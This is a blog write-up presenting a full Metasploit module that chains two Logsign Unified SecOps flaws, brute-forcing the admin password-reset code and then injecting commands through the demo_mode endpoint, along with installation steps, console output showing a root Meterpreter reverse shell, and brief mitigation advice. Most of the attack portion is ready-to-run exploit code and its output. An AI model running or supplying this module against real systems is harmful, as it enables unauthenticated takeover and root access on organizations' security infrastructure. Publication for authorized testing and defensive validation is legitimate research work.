In cybersecurity, finding a bug is merely the starting line. The real impact is demonstrated when those bugs are weaponized into a stable, automated exploit chain.
Special thanks to Mehmet İnce (@mdisec) of PRODAFT, who discovered and identified the underlying vulnerabilities, documented their exploitation, and published Python-based proof-of-concept exploits on the Zero Day Initiative blog. Building on that research, I developed a unified Metasploit module to automate the transition from zero access to a root Meterpreter shell. This write-up breaks down the technical implementation of the chain — specifically CVE-2024-5716 (Account Takeover) and CVE-2024-5717 (Post-Auth RCE).
The Attack Chain Overview
The chain targets the Logsign Unified SecOps Platform (v6.4.7 and earlier) and follows a logical progression:
- Initial Access — CVE-2024-5716. Abuse the missing rate limiting on the password reset mechanism to hijack the
adminaccount. - Privilege Escalation — CVE-2024-5717. Use the hijacked session to inject commands via a vulnerable configuration endpoint, gaining root.
Individually these are an authentication flaw and an authenticated command injection. Chained, they collapse into a single unauthenticated, pre-auth RCE against a security product running as root.
Technical Deep Dive
Phase 1 — Initial Access (CVE-2024-5716)
The core issue is a logical flaw in the password reset process. The system generates a 6-digit verification code delivered by email but fails to implement rate limiting. With only 10⁶ (1,000,000) possible combinations, a multi-threaded brute-force cracks the code and resets the admin password in minutes — handing over full access to the management panel.
Phase 2 — Escalating to Root RCE (CVE-2024-5717)
Once authenticated as admin, the platform exposes a command injection vulnerability in the /demo_mode endpoint. User-supplied input is passed directly to a system shell command without sanitization. Chaining this with the account takeover yields a full unauthenticated remote code execution (pre-auth RCE) — and because the service runs as root, so does our shell.
The Exploit: logsign-pre-auth-rce.rb
This unified Metasploit module automates the entire chain — from the first password reset request to the final reverse shell.
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Logsign Unified SecOps Pre-Auth RCE (CVE-2024-5716 & CVE-2024-5717)',
'Description' => %q{
This module exploits a vulnerability chain in the Logsign Unified SecOps Platform.
CVE-2024-5716 allows unauthenticated attackers to abuse the password reset
mechanism and brute-force the reset code in order to reset the admin password.
CVE-2024-5717 is an authenticated command injection vulnerability that can be
leveraged to achieve remote code execution.
Successful exploitation results in a Meterpreter session.
},
'Author' => ['Sevban Dönmez'],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2024-5716'],
['CVE', '2024-5717'],
['URL', 'https://www.zerodayinitiative.com/advisories/ZDI-24-616/'],
['URL', 'https://www.zerodayinitiative.com/blog/2024/7/1/getting-unauthenticated-remote-code-execution-on-the-logsign-unified-secops-platform']
],
'DisclosureDate' => '2024-06-03',
'Platform' => 'linux',
'Arch' => ARCH_PYTHON,
'Targets' => [['Automatic', {}]],
'DefaultTarget' => 0,
'Privileged' => true,
'Payload' => {
'Space' => 4096,
'DisableNops' => true
}
))
register_options([
OptString.new('TARGETURI', [true, 'Base path', '/']),
OptString.new('USERNAME', [true, 'Target username', 'admin'])
])
end
#
# Metasploit check standard
#
def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'api', 'login')
})
return CheckCode::Unknown unless res
return CheckCode::Appears if res.code == 200
CheckCode::Safe
end
#
# Main exploit chain
#
def exploit
username = datastore['USERNAME']
new_password = rand_text_alphanumeric(20)
print_status('Triggering password reset flow (CVE-2024-5716)')
send_forget_password_request(username)
print_status('Bruteforcing password reset code...')
reset_code, verification_code = brute_force_reset_code(username)
fail_with(Failure::NoAccess, 'Password reset code brute-force failed') unless verification_code
print_good("Reset code found: #{reset_code}")
print_status('Resetting admin password')
reset_password(username, verification_code, new_password)
print_status('Logging in with new credentials')
cookie = login(username, new_password)
fail_with(Failure::NoAccess, 'Authentication failed') unless cookie
print_status('Triggering command injection (CVE-2024-5717)')
execute_payload(cookie)
handler
end
private
#
# Send password reset request
#
def send_forget_password_request(username)
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api', 'settings', 'forgot_password'),
'ctype' => 'application/json',
'data' => { 'username' => username }.to_json
)
end
#
# Bruteforce password reset code
#
def brute_force_reset_code(username)
(0..999_999).each do |i|
code = format('%06d', i)
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api', 'settings', 'verify_reset_code'),
'ctype' => 'application/json',
'data' => { 'username' => username, 'reset_code' => code }.to_json
)
next unless res && res.body.include?('Success')
json = JSON.parse(res.body)
return [code, json['verification_code']]
end
[nil, nil]
end
#
# Reset user password
#
def reset_password(username, verification_code, password)
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api', 'settings', 'reset_user_password'),
'ctype' => 'application/json',
'data' => {
'username' => username,
'verification_code' => verification_code,
'password' => password
}.to_json
)
end
#
# Authenticate and retrieve session cookie
#
def login(username, password)
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api', 'login'),
'ctype' => 'application/json',
'data' => { 'username' => username, 'password' => password }.to_json
)
return nil unless res&.code == 200
res.get_cookies
end
#
# Execute payload via command injection
#
def execute_payload(cookie)
cmd = payload.encoded.gsub('"', '\"')
cmd = "bash -c \"#{cmd}\""
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api', 'settings', 'demo_mode'),
'ctype' => 'application/json',
'cookie' => cookie,
'data' => { 'enable' => true, 'list' => cmd }.to_json
)
end
end
Implementation & Practical Execution
To deploy this module in a controlled environment or a legitimate, authorized penetration test:
1. Installation
Clone the repository and copy the .rb file into your local Metasploit modules directory:
git clone https://github.com/byjanke/logsign-rce.git && cd logsign-rce
sudo cp logsign-unauth-rce.rb \
/usr/share/metasploit-framework/modules/exploits/linux/http/
2. Execution
Launch the Metasploit console and configure the targets:
msf6 > use exploit/linux/http/logsign-pre-auth-rce
msf6 exploit(logsign-pre-auth-rce) > set RHOSTS 10.1.1.51
RHOSTS => 10.1.1.51
msf6 exploit(logsign-pre-auth-rce) > set LHOST 192.168.1.7
LHOST => 192.168.1.7
msf6 exploit(logsign-pre-auth-rce) > set LPORT 4444
LPORT => 4444
msf6 exploit(logsign-pre-auth-rce) > run
[*] Started reverse TCP handler on 192.168.1.7:4444
[*] Triggering forgot-password flow (CVE-2024-5716)
[*] Forgot password request successfully sent for user: admin
[*] Bruteforcing password reset verification code...
[*] Reset code discovered: 123456
[*] Verification code obtained: 7890
[*] Resetting admin password...
[*] Admin password successfully reset
[*] Logging in with newly set credentials...
[*] Authentication successful, session cookie obtained
[*] Triggering authenticated command injection (CVE-2024-5717)
[*] Sending Meterpreter payload...
[*] Waiting for session...
[+] Meterpreter session 1 opened (192.168.1.7:4444 -> 10.1.1.51:443) at 2024-10-06 14:15:00 +0300
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer : logsign-siem
OS : Ubuntu 20.04.6 LTS (Linux 5.4.0-150-generic)
Architecture : x64
Meterpreter : python/linux
getuid returning root confirms the full chain: from an anonymous network position to root code execution on the SIEM, with no valid credentials required at any point.
Conclusion & Mitigation
These vulnerabilities highlight a critical lesson: security software is not inherently secure. A SecOps platform running as root, exposing an API with no rate limiting on its password reset flow and an unsanitized shell call behind an admin endpoint, is a high-value single point of failure.
Mitigation:
- Patch immediately. Logsign fixed these issues in version 6.4.8 — update without delay.
- Segment the network. Management interfaces must never be exposed to untrusted networks.
- Enforce MFA on all administrative accounts to blunt the impact of password reset flaws.
- Rate-limit and monitor authentication and reset endpoints; a flood of 6-digit
verify_reset_codeattempts is an unmistakable brute-force signature.
⚠️ This module is published for authorized security testing, research, and defensive validation only. Run it solely against systems you own or have explicit written permission to test.
Full repository: github.com/byjanke/logsign-rce
References
- Zero Day Initiative. ZDI-24-616 — Logsign Unified SecOps Platform advisory. zerodayinitiative.com
- Mehmet İnce (PRODAFT). Getting Unauthenticated RCE on the Logsign Unified SecOps Platform. zerodayinitiative.com